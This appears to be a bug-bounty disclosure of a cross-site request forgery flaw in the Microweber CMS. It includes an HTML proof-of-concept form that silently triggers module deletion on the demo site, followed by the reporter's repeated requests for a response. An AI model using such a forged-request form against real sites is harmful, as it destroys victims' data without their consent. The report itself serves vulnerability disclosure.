Cross-Site Request Forgery (CSRF) in microweber/microweber
Reported on
Jul 30th 2021
✍️ Description
Attacker able to delete any Module if attacker knows the ids[] parameter value.
🕵️♂️ Proof of Concept
Here after running PoC.html on Firefox or Safari and click on submit button (also can be auto-submit) you will see that the Module with id 167 has been deleted.
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.microweber.org/demo/api/uninstall_module/" method="POST">
<input type="hidden" name="id" value="167" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
💥 Impact
Here a Module with id value 167 will be deleted after clicking on submit button. 📍 Location app.js#L1
Occurrences
Hey microweber team , can you give some feedbacks to me? thanks so much.
Hey microweber team, I just want to sure that you see this important report too.
@maintainer Hey microweber team, I just want to sure that you see this important report too.
Dear microweber team, Can I ask you to validate this report too, I think that you forget to check this report.
Best regards, Amammad.
